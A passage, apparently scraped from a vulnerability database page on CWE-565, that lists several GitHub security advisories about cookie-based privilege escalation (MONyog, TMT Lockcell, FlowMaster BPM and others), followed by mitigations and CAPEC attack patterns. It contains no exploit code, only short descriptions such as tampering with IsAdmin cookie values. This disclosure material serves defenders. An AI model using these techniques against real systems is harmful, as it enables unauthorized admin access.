  "details": "In Brave Browser Desktop versions prior to 1.83.10 that have the split view feature enabled, the \"Open Link in Split View\" context menu item did not respect the SameSite cookie attribute. Therefore SameSite=Strict cookies would be sent on a cross-site navigation using this method.",
  "id": "GHSA-5w5v-4m3m-w7hq",
  "modified": "2025-10-31T00:30:35Z",
  "published": "2025-10-31T00:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48980"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3253725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-64VP-Q339-G7H5

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-16 00:00
VLAI
Details

A vulnerability, which was classified as critical, was found in MONyog Ultimate 6.63. This affects an unknown part of the component Cookie Handler. The manipulation of the argument HasServerEdit/IsAdmin leads to privilege escalation. It is possible to initiate the attack remotely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-15002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-09T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability, which was classified as critical, was found in MONyog Ultimate 6.63. This affects an unknown part of the component Cookie Handler. The manipulation of the argument HasServerEdit/IsAdmin leads to privilege escalation. It is possible to initiate the attack remotely.",
  "id": "GHSA-64vp-q339-g7h5",
  "modified": "2022-06-16T00:00:23Z",
  "published": "2022-06-10T00:00:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-15002"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.98355"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/KKlwi-u6wyA"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6Q68-2QQ3-8C3H

Vulnerability from github – Published: 2023-06-13 12:30 – Updated: 2026-05-22 09:31
VLAI
Details

Reliance on Cookies without Validation and Integrity Checking in a Security Decision vulnerability in TMT Lockcell allows Privilege Abuse, Authentication Bypass.This issue affects Lockcell: before 15.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565",
      "CWE-784"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-13T12:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Reliance on Cookies without Validation and Integrity Checking in a Security Decision vulnerability in TMT Lockcell allows Privilege Abuse, Authentication Bypass.This issue affects Lockcell: before 15.",
  "id": "GHSA-6q68-2qq3-8c3h",
  "modified": "2026-05-22T09:31:27Z",
  "published": "2023-06-13T12:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3050"
    },
    {
      "type": "WEB",
      "url": "https://fordefence.com/cve-2023-3050-reliance-on-cookies-without-validation-and-integrity-checking-in-a-security-decision-vulnerability-in-tmt-lockcell-allows-privilege-abuse-authentication-bypass"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-23-0345"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G9C-PFQM-8RRR

Vulnerability from github – Published: 2024-10-15 06:30 – Updated: 2024-10-15 06:30
VLAI
Details

The FlowMaster BPM Plus system from NewType has a privilege escalation vulnerability. Remote attackers with regular privileges can elevate their privileges to administrator by tampering with a specific cookie.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-9970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-15T04:15:04Z",
    "severity": "HIGH"
  },
  "details": "The FlowMaster BPM Plus system from NewType has a privilege escalation vulnerability. Remote attackers with regular privileges can elevate their privileges to administrator by tampering with a specific cookie.",
  "id": "GHSA-7g9c-pfqm-8rrr",
  "modified": "2024-10-15T06:30:31Z",
  "published": "2024-10-15T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9970"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-8137-ea537-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-8136-4d5b4-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PHH-J5X4-5979

Vulnerability from github – Published: 2024-04-19 00:30 – Updated: 2024-04-19 00:30
VLAI
Details

The application suffers from a privilege escalation vulnerability. An attacker logged in as guest can escalate his privileges by poisoning the cookie to become administrator.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-22186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-18T23:15:07Z",
    "severity": "HIGH"
  },
  "details": "\nThe application suffers from a privilege escalation vulnerability. An \nattacker logged in as guest can escalate his privileges by poisoning the\n cookie to become administrator.\n\n",
  "id": "GHSA-7phh-j5x4-5979",
  "modified": "2024-04-19T00:30:54Z",
  "published": "2024-04-19T00:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22186"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-107-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Avoid using cookie data for a security-related decision.

Mitigation
Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Mitigation
Architecture and Design

Add integrity checks to detect tampering.

Mitigation
Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

CAPEC-226: Session Credential Falsification through Manipulation

An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server.

CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies

This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.

CAPEC-39: Manipulating Opaque Client-based Data Tokens

In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.